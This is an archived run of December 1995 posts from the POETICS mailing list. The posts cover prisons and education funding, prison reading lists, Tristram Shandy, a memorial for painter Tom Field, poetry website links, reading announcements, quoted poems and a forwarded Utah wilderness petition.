In the state of California this year, the Governor, for the first time in state history, submitted an initial budget which included more dollars for prisons than for higher education. Many elementary schools are now without librarians of any type, good or bad. When the media attempt to give us the impression that people in prison have it cushy, they seldom show us pictures of inmates in the library (that only seems to come up when they imply that inmates shouldn't be allowed to study law because, god help us, they might actually use their knowledge to APPEAL their sentences, and where would we be if innocent people could get out of jail on appeal %$^&(%)) ---

look -- I've been in jail,,,, not for long, admittedly, but I'm of an age to have been busted in demonstrations and frequently picked up for no reason at all back in the days when, for instance, the New Jersey Highway Patrol would arrest any racially integrated group of people driving in a van. I have relatives in prison. At the rate this country is going we may soon all have relatives in prison, or be there ourselves.

Jail might be nice if you're Michael Milken (sp?) but

point is, this same rampant "privatize everything" mood is at work in the prison budgets as well -- Who has not noticed that, along with the reintroduction of the chain gang and rock busting, more jails are being operated for profit, and more of the jailed are producing income for someone other than themselves --

We live in a society that is more interested in locking people up than in educating them -- Most of the prison systems I am aware of, while they still have something resembling an education program, have cut back on possibilities for college level training, even as more money is spent on the system itself --

When I was a student at the former Federal City College, we had a college degree program operating at Lorton Reformatory -- You can guess how popular that is with the Repub. Revolt --

Please, let's not confuse things -- It is a fact that prisons in this state get more money than higher ed (from the state, that is -- UC gets lots of other money, as Ron detailed here) -- That money goes to support an ever-expanding penal regime,, a business that relies upon having more people jailed for longer periods of time -- The disciplinary effects of this should be obvious without aid of Foucault --=

The cushy ones are the people who make an industry of keeping large segments of the population uneducated and locked up -- That's what I've been talking about here --

the poetics of confinement, I think, would be a suitable point for discussion -- Particulary on a day when a court has ruled against attempts to hold the federal government reponsible for slavery --

> *-- Saved internet headers (useful for debugging)*
> *Date: Tue, 5 Dec 1995 21:54:21 -0800*
> *From: "Aldon L. Nielsen" <[redacted]>*
> *Subject: Re: totalitarian human control*
> *To: Multiple recipients of list POETICS <[redacted]>*

↑ Index

152. Dick Higgins
Re: Pro's & hobbyists
Wed 6 Dec 1995

> *re: FOEW&OMBWHNW*
>
> *Dick didn't you promise to post some sites where we could look at your viz pomes?*

My poems in general, yes. It's an odd selection which is available at the moment (no sound poems for instance) but this too is interesting--there seems to be a whole new wave of interest in visual poems. Does anyone have an explanation for this?

Anyway, here are my favorite poetry and new art sites:

5. December, 1995

Web Sites

Sites I am on or am linked from-
Cage Page-http://www.emf.net/~mal/cage.html
Fluxus-http://www.panix.com/fluxus
Goldsmith's Page [Kenny]-http://wfmu.org:80/—kennyg/index.html
Left Hand Books-http://csbh.mhv.net/~lefthandb
Light and Dust Poets-http://www.thing.net/~grist/l&d/lighthom.html [Karl Young's index page at Grist; includes me, Alison & many others]
Marco, Joe de-http://www.cinenet.net/—marco [has many Fluxthings including Friedman's album]

Interesting Poetry-
Atomic Books-http://www.atomicbooks.com/atomicbk/ [Baltimore store with excellent pop culture and political links]
Avec-http://www.crl.com/~creiner/syntax/sampler.html (good lit mag)
Computer Generated Writing-http://www.uio.no/~mwatz/c-g writing
Electronic Poetry
Center-http://www.gopher://writing.upenn.edu/hh/internet/library/e-journals/ub/rift/.hotlist
Grist-http://www.thing.net/~grist/
Left Hand Books- (see above)
Light and Dust Poets- (see above)
Taproots Review-http://www.writing.upenn.edu/epc/ezines/ (=TRee, best review medium I know)

Other New Arts-
American Council on the Arts-http://www.artsusa.org/
Art sites index-gopher://chico.rice.edu:70/11/subject
Cage Page (see above)
Festival de Création Multimédia On Line-http://www.cicv.fr
Fluxus- (see above)
Gering, Sandra-http://www.interport.net/—gering
Goldsmith's Page [Kenny]- (see above)
Idaho Center for the Book Arts-http://www.uidaho.edu/~schla932/
Left Hand Books- (see above)
Marco, Joe de- (see above)

New Music Net
[Oliveros]-http://www.tmn.com/Oh/Artswire/www/NewMusNet/nmnhome.html
Rift-gopher://writing.upenn.edu:70/hh/internet/library/e-journals/ub/rift/rift
Surrealism server [links to dada, futurism,
etc.]--http://pharmdec.wustl.edu/juju/surr/

Sources for books- Amazon Books-http://www.amazon.com (they claim to be able to get any book listed in Books in Print) Biblio Mailing List Archive-http://www.smartdocs.com/biblio-mail Chip's Home Page-http://virtumall.com/homepages/chip/main.html [excellent info on zines of all kinds]

Gets other listings for poetry-
Lycos Home Page-http://www.lycos.com/
Poetics at Buffalo-http://writing.upenn.edu/epc/poetics/
Salon-http://www.salon1999.com/ (crud that Adobe and Apple think is state of the art-funny!)
Yahoo-http://www.yahoo.com/art

Very bests

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

↑ Index

153. Maria Damon
Re: self service...
Wed 6 Dec 1995

---

our own brightcolored kk writes:

Maria, you must be thinking of Lars Eighner and his book Travels with Lizbeth. It's a good book, but his porn stories are even better, talk about "self-service," just a tip from-

Kevin Killian

***
aye aye the very one (hiya kev!)-md

↑ Index

154. **Maria Damon**
Re: mla
Wed 6 Dec 1995

---

much less attractive

↑ Index

155. **Maria Damon**
Re: Poetry & prisons
Wed 6 Dec 1995

---

ron s writes:
The
supermax prison in the federal system, in Marion, Illinois, was
originally a private boy's boarding school that the feds purchased when
it went bankrupt.
***
yes, and genet's fontevrault, oppressive scene of many a homerotic tryst, had
been a nunnery. and the national library in mexico city had been a max
security prison.--md

↑ Index

156. **Maria Damon**
tart fruit
Wed 6 Dec 1995

---

luoma writes:
* with persimmon from md
**thanks guyzy i'm duly humbled but appreciative.--md

↑ Index

157. **Dick Higgins**
Re: benefactors, patrons, angels
Wed 6 Dec 1995

> *Conclusion-the poetics bulletin board should be precisely what it was established to be, a POETICS discussion group. The people who need to chatter about the MLA should have their own discussion group. And as for poetry, there are increasing numbers of e-mags and sites with poetry, visual or otherwise. Each has its own function- and, I might add, its own legitimacy. But they are not the same thing.*
>
> *By the way, I will be happy to swap site info on places where my own poetry is or where I have found poems I like. WE can then discuss those pieces,*

> *which means we will be focusing on stuff that is current and which*
> *presumably reflects our time and predicaments in a fairly raw way.*
>
> ——
>
> *Dick! buddy! glad you're here!*
> *How long have you been here, anyway?*
> *We sure could have used you when we were battling with Alfred Corn!*
> *Did you hear about that?*
> *Have you checked out the archives of this mailing list*
> *At the Electronic Poetry Center? That's a pretty good site.*
> *http://writing.upenn.edu/epc*
> *You should see what people here have to say about William Carlos Williams!*
> *I guess I got flustered by your good ol' Poundian "ruff-em-up"*
> *Because it came in the middle of a discussion*
> *About teaching and the connection of poetry to society*
> *Specifically a proposed class on poetry and hunger!*
> *This seemed to me to come from almost exactly the same place*
> *If, it's true, with a different slant,*
> *That the people we speak of as resuscitating the discussion of*
> *POETICS*
> *In America came from--poetry and society and I don't mean*
> *To go along with any "intentional fallacy" arguments but*
> *I don't see the point of telling people*
> *What they're supposed to be talking about. All the*
> *Best,*
> *Jordan*

Thanks. I guess the best thing to do now is to set a good example and hope the profs will set up their own place for discussing their very real problems.

Bests

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

↑ Index

158. Peter Zukowski
Chicago reading
Wed 6 Dec 1995

For those of you in or around Chicago, or who will be in town for the MLA, Private Arts Press is sponsoring a reading:

PRIVATE IN PUBLIC
reading series

presents
a reading by

CHARLES BERNSTEIN

and

DOUGLAS MESSERLI

Friday, December 29
6:00 p.m.
Museum of Contemporary Art
Site Cafe/Bookstore
237 East Ontario
admission free
information: [redacted]

The PRIVATE IN PUBLIC reading series at the Museum of Contemporary Art has begun to garner a reputation around town for making the finest of innovative writers accessible to the public in a pleasant and informal venue.

It will be a wonderful event so spread the word!!! I look forward to meeting as many of you there as possible.

Thanks.

Peter Zukowski
[redacted]

↑ Index

159. Tony Green
Re: Poetry and the academy
Wed 6 Dec 1995

but, Mark, it cd do with some shorter lines

every-
thing depends
upon a

little red
thing

[L subscribers avert yr by now red faces

Tony Green,
e-mail: [redacted]

↑ Index

160. **Tony Green**
Re: Freud and the Library of Congress
Wed 6 Dec 1995

Freudians in Washington will have to wait for the return of the repressed?

Tony Green,
e-mail: [redacted]

↑ Index

161. **Tony Green**
geezers
Wed 6 Dec 1995

---

geezers is the word you want, Tenney. Geysers are some thing else, to do with volcanic activity and water, and fun to watch.

Tony Green,
e-mail: [redacted]

↑ Index

162. **jeffrey timmons**
Re: Freud and the Library of Congress
Thu 7 Dec 1995

Mark,

New York Times had a story today too, but with even less info than what you say the post had.

Jeffrey Timmons

↑ Index

163. **Aldon L. Nielsen**
Re: prison reading lists
Thu 7 Dec 1995

here's a sad fact for you -- the reason I have recently been able to find out what poets Harold Carrington (_Drive Suite_) and Ray Bremser (BEAT) were reading as they wrote those early poems is that, as inhabitants of the slammer, they had to get their books mailed in directly from the small press publishers, and sd records of such reading wound up where we boo hooing mla types can pore over them (Carrington, by the way, was pissed when Bremser got out and took their joint collection out of the joint with him) --

They still read your mail in most jails, too -- which is more than some of us editors do --

↑ Index

164. **Aldon L. Nielsen**
Re: ". . . "
Thu 7 Dec 1995

dodie -- your readings always cool with me -- I was just getting spooked by different sentences from the ones what spooked you --

thanks for the alert to the additional article -- I'd only seen the wire story on it --

↑ Index

165. **Tenney Nathanson**
right but
Thu 7 Dec 1995

> *Date: Thu, 7 Dec 1995 13:14:39 GMT+1200*
> *From: Tony Green <[redacted]>*
> *Subject: geezers*
>
> *geezers is the word you want, Tenney. Geysers are some thing else, to do with volcanic activity and water, and fun to watch.*
>
> *Tony Green,*
> *e-mail: [redacted]*

right, but "this time" (at least if you're referring to my most recent post or so) I did it on purpose. anyway geezers are fun to watch too.

I spoze I should take advantage of my fancy Eudora mailer and run spell checks on my posts, since I obviously can't spell, but jeez (or geez)

btw enjoy most all your posts.

best,

Tenney

↑ Index

166. Aldon L. Nielsen
Re: country joe amato
Thu 7 Dec 1995

---

that's one intriguing reading list! Have you, as is common among us writer types, written something as a result of that reading??? There were some books there I hadn't known about -- thanks much

↑ Index

167. Ron Silliman
CAP-L renga
Thu 7 Dec 1995

You wrote:
>
>Ron--
>
>For those of us with clogged disks. . .
>
>What's going on in the essentialized poetryminds of CAP-L these days?
>
>Does Corn still rule? Histories of versemaking from "plop" to "ploop"?
>
>*Should* you care to expound at your leisure. . .
>
>--Keith Tuma
>
They are preparing to invent the CAP-L version of renga. This, it turns out, is a masquerade of dramatic monologues to be written and posted on New Years Eve. Elaborate conceits abound that have caused my eyes to glaze over (very Umberto Eco-esque), but it involves writing a dramatic monologue (DM in the CAP-L terminology) as if it were written by one author "speaking" as another. Thus, Jacques Lacan writing as Lao Tse. All of which are supposed to have occurred at certain abbey, etc.....

Hey, I don't make this stuff up!

Ron

↑ Index

168. **Joe Amato**
reading lists...
Thu 7 Dec 1995

aldon, just old stuff for the diss. i did some time ago now with don byrd (one of the few folks at the time who understood the connections)... anyway, please don't rush out to read same---too "serious," not enough dance... it's a diss., i mean...

but i guess i'll plug such work by saying that a recent poetic project, _lake affect_, takes full advantage of that reading list in some kinda off-the-wall ways... can't find anybody yet who's interested in publishing same [hint hint], but i'm determined to get it 'out there'... i could upload the sucker on the web, i s'pose, but at the moment my commitment to web-work is such that i'm reserving self-publishing of this latter variety for an electronic, uhm, children's hypertext, so to speak... whenever i can get around to finishing this latter...

best,

joe

↑ Index

169. **Maria Damon**
Re: prison reading lists
Thu 7 Dec 1995

i seem to have missed out on a prison reading list posted by our own dear joe amato. cd you send it me direct ("Backchannel") --in the late 70s i was on the periphery of what was then called "prison work" (that is, bail funds, prisoner advocacy etc, rather than working in or for prisons) and collected some ephemera from the various MA prisons, norfolk, walpole etc --and just picked up a slim anthology called In Time at Grolier's, an anth. of women's prison poetry. such stuff continues to turn me on--also, a good poet is Judy Lucero, a Chicana writing from prison in the late 1970s who died young.--md

↑ Index

170. **Maria Damon**
purism on the list
Thu 7 Dec 1995

hey guyzies, geezers and geysers, and esp dick higgins, i appreciate the scolding viz mla boohooing (i do tend to get all wrapt up in professional self-pity) --i think, though, that part of the charm of the list is its anti-purism. as herb levy said in a memorable post to alfred corn, (or do i paraphrase) the list is full of contention, corny jokes, strands and contra-strands running every which

way. the renga phenomenon, tho it became overwhelming eventually and did break off, was a fun, whacky digressive jaunt --dare i say shandy-esque, or does that reveal me as one of those wonks who took qualifying exams lo these many years ago --so, babe, relax, enjoy, and keep sounding off --md

↑ Index

171. **Pierre Joris**
Re: Fwd: Guggenheim 95
Thu 7 Dec 1995

Yes, the list is dismal indeed, as Ron says, but that's not surpsiing as we all well know. My bedside reading this week is >Jed Rasula's AMERICAN POETRY WAX MUSEUM, in which Jed offers complete lists & breaddowns of the various prizes & grants over the years -- worthwhile pondering! It is, BTW, a superb analysis of the US poetry scene since 1940 -- a must for anybody on this list!

Pierre

==========
==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========
==========

↑ Index

172. **cris cheek**
ylang ylang
Thu 7 Dec 1995

---

ylang ylang

- essential oil from northern Madagascar, used as a base for myriad perfumes. Arguably best raw.

love and love
cris

↑ Index

173. Sheila E. Murphy
Jeff Hanson - Request
Fri 8 Dec 1995

My apologies to the list, but Jeff Hanson, could you contact me backchannel? I've misplaced your address, and need to talk with you. Thanks.

Sheila Murphy

↑ Index

174. Ron Silliman
Shandy-esque
Fri 8 Dec 1995

--dare i say shandy-esque, or does that reveal me as one of those wonks who took qualifying exams lo these many years ago --md

Anybody on this list who has NOT read Tristram Shandy should (to use Dick Higgins' favorite word) correct that condition post haste.

One of the great sadnesses of the novel as a form is that the first one should still be the best. (On the other hand, I haven't read the original Marjorie Kemp, another such contender as I understand.)

But then I think of Chaucer as "strictly for pleasure" -- Ron

↑ Index

175. Ron Silliman
Tom Field
Fri 8 Dec 1995

The following appeared in yesterday's SF Chronicle.

A memorial will be held Sunday for Tom Field, a noted Bay Area painter. Mr. Field died of cancer November 14 in San Francisco. He was 65.

Mr. Field was born in Fort Wayne, Ind. He attended the Fort Wayne Art School before serving as an Army medic in Korea from 1951 to 1953.

He attended Black Mountain College, an experimental institution in North Carolina, from 1953 to 1956. There, he studied painting under Joseph Fiore and humanities under the poets Charles Olson and Robert Creeley.

In 1956, he came to San Francisco and became a friend of many Beat writers. He joined Albert Saijo, Lew Welch and Philip Whalen to found a Zen Buddhist community called Hyphen House. He met Jack Kerouac, and appears in Kerouac's novel ``Big Sur'' under the pseudonym Lanny Meadows.

Mr. Field worked as a merchant seaman in the Sailors' Union of the Pacific, of which he remained a member until 1969. He had a studio in North Beach for many years, and later spent 10 years painting in a cabin at Bodega Bay.

His paintings were shown at the San Francisco Museum of Modern Art and several leading galleries. This year his work was included in a group show in Vancouver, British Columbia.

As an artist, he was associated with Jess Collins, Knute Stiles and other painters of the so-called San Francisco Renaissance, as well as with poets Robert Duncan, Jack Spicer, Ebbe Borregaard and others.

A memorial will be held at 1 p.m. at East-West House, 733 Baker Street, San Francisco.

↑ Index

176. Tom Beard
Shandy & Diderot
Fri 8 Dec 1995

> *Anybody on this list who has NOT read Tristram Shandy should (to use Dick Higgins' favorite word) correct that condition post haste.*

& if you enjoyed Shandy you'll love Diderot's "Jacques the Fatalist". As entertaining as Richardson, as radical, and more readable (if only because C18 French translated into C20 English is easier to read than C18 English). An anti - novel before the novel was really established. Didn't Kundera turn this into a play?

The Enlightenment gets a bad press from post-structuralist types, but my understanding of the Enlightenment has always centred more upon Diderot than sour old Rousseau. Try also "D'Alembert's Dream", a speculative dialogue that prefigures evolution, neural networks, artificial intelligence and theories of consciousness.

Tom Beard.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://www.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

177. Gwyn McVay
Re: Fwd: Guggenheim 95
Fri 8 Dec 1995

I like Pierre's rather Freudian typo--a "breaddown" rather than a "breakdown" of the US poetry scene. It manages to suggest both Bread Loaf and "bed down." 'Nuff said.

Gwyn

↑ Index

178. Jordan Davis
Re: purism on the list
Fri 8 Dec 1995

Gale Nelson wrote:
> I missed the point in the renga where Uncle Toby actually lights his pipe.
> Perhaps Trim was doing this for him, in _his own dream of books._

_____

Gale,

Toby lights his cigar in the forthcoming renga, _Zeno Unbound_.

Jordan

↑ Index

179. Bill Luoma
Re: Tom Field
Fri 8 Dec 1995

Has anyone read Lew Welch's ba thesis on stein?

↑ Index

180. ULMER SPRING
an announcement for a show.
Fri 8 Dec 1995

if anyone is in town
i am having a show with sarah rianhard
at the cooper union houghton gallery
7 east 7th st. manhattan,
dec 12-16, opening dec 12, 6-8 pm.
text, photos, and videos.

all are invited.
spring

↑ Index

181. **Kevin Killian**
Re: Tom Field
Fri 8 Dec 1995

Dear Ron,

Thank you for posting the notice of Tom Field's death. Of course the immediate interest in Field here in SF is because of his connection with Kerouac and the "Lanny Meadows" thing. Of course this will be all to the good in the longer run, since Stephen Schwartz (!!!) will perhaps haul out the big guns for the planned retrospective Field show which Paul A;exander, Ernie Edwards, etc are planning, particularly when he sees the "Kerouac" painting, the collaboration between TF and JK, a typical late fifties kind of AE thing by Field (in other words totally gorgeous) which Kerouac "defaced" by adding a scrawled men's room graffito of his own cock and balls. It is just *meant* for the Chronicle, Francis Ford Coppola, Lisa Phillips etc. I will send you the notice from the B A R which rounds out the picture a bit more by details some of Tom's work with Duncan, Helen Adam, Joanne Kyger, Robin Blaser, etc. In the meantime let me honor his memory by posting Spicer's poem from "Homage to Creeley." (The odd thing, though it was entirely a coincidence, is that Tom Field, Paul and James Alexander and Lew Ellingham, were all from Fort Wayne, Indiana, which must have been the Tulsa, or Topeka, of another generation)-Love, Kevin

Fort Wayne

The messages come through at last:
"We are the ghosts of Christmas past

Our bodies are a pudding boiled
With sixteen serpents and a narrow blade."

I asked my silly messengers to sing it again
"We are the advantages that hate all men

Our bodies are a pudding boiled
With sixteen serpents and a narrow blade."

For there are poems and Christmas pies
And loves like our while you blink your eyes
And love rises up like a butterfly

"Our bodies are a pudding boiled
With sixteen serpents and a narrow blade."

A dialogue between The Poet and passed Christmases.

Fort Wayne stands on the American fortress between California and reality. It is a geographical point.

The passed Christmases want to know more than they have any right to. So does The Poet. Neither in the last analysis is satisfied.

The pudding is made of a number of serpents that move among us and a knife to cut them with.

↑ Index

182. Gale Nelson
Re: purism on the list
Fri 8 Dec 1995

Maria,

I missed the point in the renga where Uncle Toby actually lights his pipe. Perhaps Trim was doing this for him, in _his own dream of books._

Cheers,

Gale

↑ Index

183. Aldon L. Nielsen
Re: The Prisonhouse of Lists
Fri 8 Dec 1995

Maria -- two strands have gooten conflated, no doubt due to my tendency towards shorthand -- What Jose posted, and what I was thanking him for, was a series of readings on another subject -- My ref. to prison reading lists was describing lists of things poets (in this case Carrington & Bremser) read _while_ they were incarcerated -- (It was Carrington's jailhouse subscription to _Floating Bear_, you may recall, that got DiPrima and Baraka arrested for sending obscenity thru the mails -- the jail censor read Carrington's copy & called the Feds) --

That's "Joe," not "Jose"

Though Mr. Guitart, in addition to his other fine works, has really good poetry in the anthology edited by Ray Gonzales --

And the errors above in this message indicate that I am once again in L.A. -- upside is that I don't have to commute on the I5 for the next 12!!! months --

downside is that I'm back at that uncorrectable keyboard -- but maybe now I'll have time to load some other system onto my laptop --

Great new books in my mail from P. Phillips and S. Ratcliffe -- not only is the poetry superb, the cover art is suitable, as they say, for framing,,,

and that's "Jorge" -- can't type to save my life this morning --

$$^%*&%^&*^*)&(^&*(&^)^ will try again Sat., when my digits is rested

apologies in advance to anybody else whose name I mangle this week -- payback fro all the years of people pronouncing me "All done" or turning me into a "Nelson"

aldon (pronounced "al   dun")

↑ Index

184. Chris Stroffolino
Re: purism on the list
Fri 8 Dec 1995

To no-one in particular--
ever feel like a cardboard cutout, a parody of a promise, of a past?

When the "wit machine
dries up....

↑ Index

185. Gale Nelson
Re: purism on the list
Fri 8 Dec 1995

Jordan,

I'm glad to hear that Uncle Toby lights up -- but will he inhale?

Gale

↑ Index

186. Steven Howard Shoemaker
our daily bread/th
Fri 8 Dec 1995

I've set up a separate server for all those wanting to discuss MLA shmooze strategies. For subscription instructions, go to http://www.chicago95.kissass.html

This morning i stopped whining about mla and the state of the academy & almost immediately had a profound insight into the very essence of poetics. Then i graded some student essays & forgot what it was...

Anyhoo, responding to Marissa's post of a couple days ago, here's Kay Boyle's poem "Poets," which kicks off Codrescu's Up Late anthology. I also remember there being good stuff on hunger-writing in Henry Miller's Tropic of Cancer. And check out Mina Loy's Insel--great surrealist body-stuff, w/ a main char. so thin he disappears when he turns sideways.

Sorry there's no "poetics" in this post. Mebbe next time.

steve

Poets, minor or major, should arrange to remain
 slender,
Cling to their skeletons, not batten
On provender, not fatten the lean spirit
In its isolated cell, its solitary chains.
The taught paunch ballooning in its network of veins
Explodes from the cummerbund. The hardening artery
        of neck
Cannot be masked by turtle-throated cashmere or
 foulard of mottled silk.

Poets, poets, use rags instead; use rags and consider
That Poe did not lie in the morgue swathed
Beyond recognition in fat. Consider on this late March
Afternoon, with violet and crocus outside, fragile as
 glass,
That the music of Marianne Morre's small polished
 bones

Was not muffled, the score not lost between thighs as
 thick as bass-fiddles
Or cat-gut muted by dropsy. Baudelaaire did not throttle
  on corpulence,
Rimbaud not strangle on his own grease. In the
 unleafed trees, as I write,
Birds flicker, lighter than lace. They are the lean spirit,
Beaks asking for curmbs, their voices like reeds.

William Carlos Williams sat close, close to the table
 always, always,
Close to the typewriter keys, his body not held at bay
 by a drawbridge of flesh

Under his doctor's dress, no gangway to lower, letting
 the sauces,
The starches, the strong liquor, enter and exit
With bugles blowing. Over and over he was struck thin
By the mallet of beauty, the switchblade of sorrow,
 died slim as a gondola,
Died curved like the fine neck of a swan.

These were not gaagged, strangled, outdone by the
 presence
Of banquet selves. They knew words make their way
 through navel and pore,
More weightless as thistle, as dandelion drift,
 unencumbered.
Death happens to fatten on poets' glutted hearts.
 ("Dylan!"
Death calls, and poet scrambles drunk and alone to
 what were once swift, bony feet,
Casting a monstroud shadow of gargantuan flesh before
 he crashes.)

Poets, remember your skeletons. In youth or dotage,
 remain as light as ashes.

↑ Index

187. Dick Higgins

Re: purism on the list

Fri 8 Dec 1995

> *To no-one in particular--*
> *ever feel like a cardboard cutout, a parody of a promise, of a past?*
>
> *When the "wit machine*
> *dries up....*

If you are tired of your own past, please borrow mine. I find pasts quite overrated, and they tend to keep one from the work at hand.

Bests

Dick Higgins

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]

Fax- [redacted]
e-mail- [redacted]

↑ Index

188. Ange Mlinko/PWS/International Thomson Publishing
wilderness petition
Fri 8 Dec 1995

In _A Poetics_ Bernstein compares poets to the wilderness--out there, somewhere, and quietly, the air is being purified. For the sake of our metaphorical counterparts, sign & pass on!--Ange Mlinko

To: [redacted]
Subject: wilderness petition-please sign!
Date: Fri, 08 Dec 1995 08:32:01 EST
From: Benjamin T Bruening <[redacted]>
Content-Length: 7000

- - ------- Forwarded Message

- ----------
Subject: Canyonlands Petition

! * ! * ! * SIGN THIS PETITION IF YOU CARE ABOUT THE ENVIRONMENT, THE DESERT, PROTECTION OF PRISTINE WILDERNESS AREAS! * ! *

As this editorial in the New York Times states, two very very bad bad bad bills: HR 1745 and its senate counterpart S884, are currently proposing wilderness annihilation in the beautiful desert lands of Utah. Read the following article if you want more details. This is a NATIONAL issue, and an issue of misrepresentation-- the people of Utah do not want this bill passed and their representatives are not listening.

ALL YOU HAVE TO DO IS SIGN YOUR NAME TO THIS LIST AND SEND IT ON TO 5 OTHER PEOPLE.

IF YOU ARE A TENTH PERSON TO SIGN YOUR NAME, FORWARD THE LIST BACK TO ME: [redacted] (i.e. the 10th, 20th, 30th person will forward this message to me in progress)

I will compile the petition and send it to the important senators, etc.

PETITION BEGINS HERE:

"I do not support wilderness annihilation bills HR 1745 and S884. I am in favor of Senator Hinchey's and the Utah citizen's proposal to designate AT LEAST 5.7 million acres of PROTECTED wilderness in southern Utah."

NAME E-MAIL (not obligatory) PLACE OF RESIDENCE - -- ---------- ---------- ----------

1. Elizabeth Whittlesey [redacted] Texas, orig. Utah 2. Cori Nelson [redacted] CA, orig. Utah 3. Erin Johnson [redacted] CT, orig. Utah 4. Sung-Min Chung [redacted] CT, orig. MD 5. Thomas Socci NY, NY 6. Sofia Yakren NY 7. Elizabeth Kanter MA, orig. NJ 8. Amelia Kaplan [redacted] NJ 9. Emily Hobson [redacted] CA 10. Adam Dylan Hefty [redacted] KS 11. Eric Albert [redacted] NJ 12. Daniel Mason [redacted] CA 13. Joshua Mooney [redacted] CA 14. Erica Brandling-Bennett [redacted] VA 15. Allison Brugg [redacted] CT 16.Leah Campbell [redacted] NY 17.Tamar Kraft-Stolar [redacted] NY 18. Zoe Weinrobe [redacted] MA 19. Anna Spraycar [redacted] MD 20. Jessica Shattuck MD 21. Karen E. Thomas [redacted] CA 22. Steven W. Thomas Providence, RI 23. Chris Harley [redacted] 24. Jennie Hoffman WA 25. Eric Sanford [redacted] OR 26. Philip Brownell [redacted] OR 27. Ben Brownell [redacted] OR 28. Brian Cross [redacted] CA 29. Nathaniel Gilbert [redacted] CA, WA 30. David Severson [redacted] OR, WA 31. Benjamin Kalm [redacted] UT 32. Samantha Riesenfeld [redacted] UT 33. Karen Lepri [redacted] MA 34. Becca Lowenhaupt [redacted] MA, MO 35. Frank Gorke [redacted] MA, MA 36. Jeff Evans [redacted] MA, NY 37. Scott Ribich [redacted] MA, MA 38. Derek Bruening [redacted] UT 39. Benjamin Bruening [redacted] UT 40. Georgianna M. Lirot [redacted] MA, CT 41. Jeff Zifcak RI, MA 42. Tanja Brull CA 43. Ange Mlinko MA

- ------Editorial in the New York Times, November 15, 1995----------

. . .There is another test just around the corner. Companion bills in the House and Senate would take about 22 million acres of Federal land in Utah now run by the Federal Bureau of Land Management, give wilderness protection to a mere 1.8 million acres in southeastern Utah's fabled canyonlands and open the rest to mining, road-building and development.

The bills are sponsored by Representative James Hansen and Senator Orrin Hatch, both Utah Republicans. A competing bill sponsored by Representative Maurice Hinchey of New York is much

better. It would protect 5.7 million acres, which environmentalists think is the minimum require maintain the integrity of the canyonlands.
According to several polls, Utah's rank-and-file citizens prefer the Hinchey approach and believe that there is more to be gained from tourism if the terrain is left alone than from bulldozing some of the nation's most fragile and scenic lands. But Utah's Congressional delegation prefers the bulldozer.

Critics of the Hatch-Hansen bill have two further complaints. First, it would undermine the intent of the 1964 Wilderness Act--an act that designates wilderness as a place "where man himself is but a visitor"--by allowing development even in the 1.8 million protected acres. Second, it forecloses the possibility of future wilderness designations. The B.L.M. will continue to manage the 20 million Utah acres left unprotected by the Hansen-Hatch bills. But the bills say the land must henceforth be reserved for commercial users. Wilderness designation will no longer be an option.
Finally, victory for the Hansen-Hatch bills could provide smoother sailing for other measures that are aimed at stripping the Federal Government of control over public lands. The most brazen of these are identical bills sponsored by Senator Craig Thomas, Republican of Wyoming, and Mr. Hansen that would transfer to the states every single acre managed anywhere by the B.L.M., some 270 million acres in all. A variant has been offered by Senator Conrad Burns, Republican of Montana, who would establish a commission to identify national forests and other public lands that could be sold or transferred to the states or private interest. The Thomas-Hansen measure proposes a give-away. The Burns bill threatens a national yard sale of the country's natural heirlooms. Mr. Thomas says the lands would be better administered "by the people who truly understand the needs of local citizens. That, of course, means Western state legislatures, which tend to be far more inclined to

exploit public resources for commercial gain than even this Congress.

These are destructive ideas, and the only sure way to stop them is to send a clear conservationist signal by defeating the Utah lands bill. The main hope is on the House floor, where a growing group of moderate Republicans is having strong second thoughts about legislation that endangers the environment. The preservation of a sound national public lands strategy may lie in their hands.

- ------- End of Forwarded Message

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189. Marisa Januzzi
Utah (redefines 'open field')
Fri 8 Dec 1995

John C., Maria, Ulmer, Tenney, and all:

Poetry, pedagogy, performance... why distinguish? snapshots from the same hurricane

Thank you, everyone, for your suggestions for the class on food, hunger & writing. The whole idea for a class on hunger came to me not while cruising Dorothy Day or the Pearl Of Great Price but at the Whitney Fluxus show-- You were there, Jordan, and You, and You... anyway I was standing there staring at a wall of empty food containers, the remnants of an entire years american diet assembled by.... WHO was it? I wish I could remember. Does anybody?

Since you asked, Tenney, I landed from outta nowhere in a very traditional Italian Catholic family-- where food has pretty much sacramental status (compare with the Mormon view of wine and coffee...) Since Mormons tithe, it seems that a solid percentage of every prosperous household out here goes to the purchase of bologna sandwiches for the hungry. Every day, hundreds of thousands of plastic bologna pucks are delivered to soup kitchens. It's both wonderful and insane at once, all that bologna. The impulse (indeed the imperative) to "love one's neighbor" AND the money are in place out here, and hence the University's offering up to $12,000 to departments willing to integrate service-learning into the curriculum. Steve Tatum has always been supportive of the idea, but now he's chair, and when he saw the figures, he was especially chipper to release me for this (Steve's a great boss) -- and me: I felt the need to decode the message of all that bologna.

"then I shrank behind my guide/Because there was no other shelter" two lines in the Inferno (non gli era altra grotta/dante behind virgil behind dante) that are sexy and churchlike enough

Ulmer: Holy Anorexia, Ellman, Walker-Bynum, Wuthering Heights, Simone Weil, and Princess Di on 20/20.... your ideas sparked plenty of my own. Maud Ellman's book IS really great.

Maria, here I am thinking, "yeah, precisely, the problem in any service learning class is the relation to the [human] subject[s]..." and then I realize that seems to be a problem in poetry and crit as well. I remember the brouhaha in a seminar over Barthes' prose about the "Asian eye" in EMPIRE OF SIGNS... everyone fingered the troubling aspects of that book right away, but no one felt comfortable talking about Barthes's pleasure in HANDLING the human subject.

Your reading list is incredible (AUGUSTINE as addict!! did you see Andy DelBanco's piece on the culture of AA in the NEW YORKER last spring?-- 100% applicable).

Y'all are timber in the woods

--Marisa

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190. Marisa Januzzi
Re: our daily bread/th
Fri 8 Dec 1995

Steven

It's so funny; INSEL is so much Bronte and of course I'm writing a chapter on it right now (more or less) and so of course I forgot it

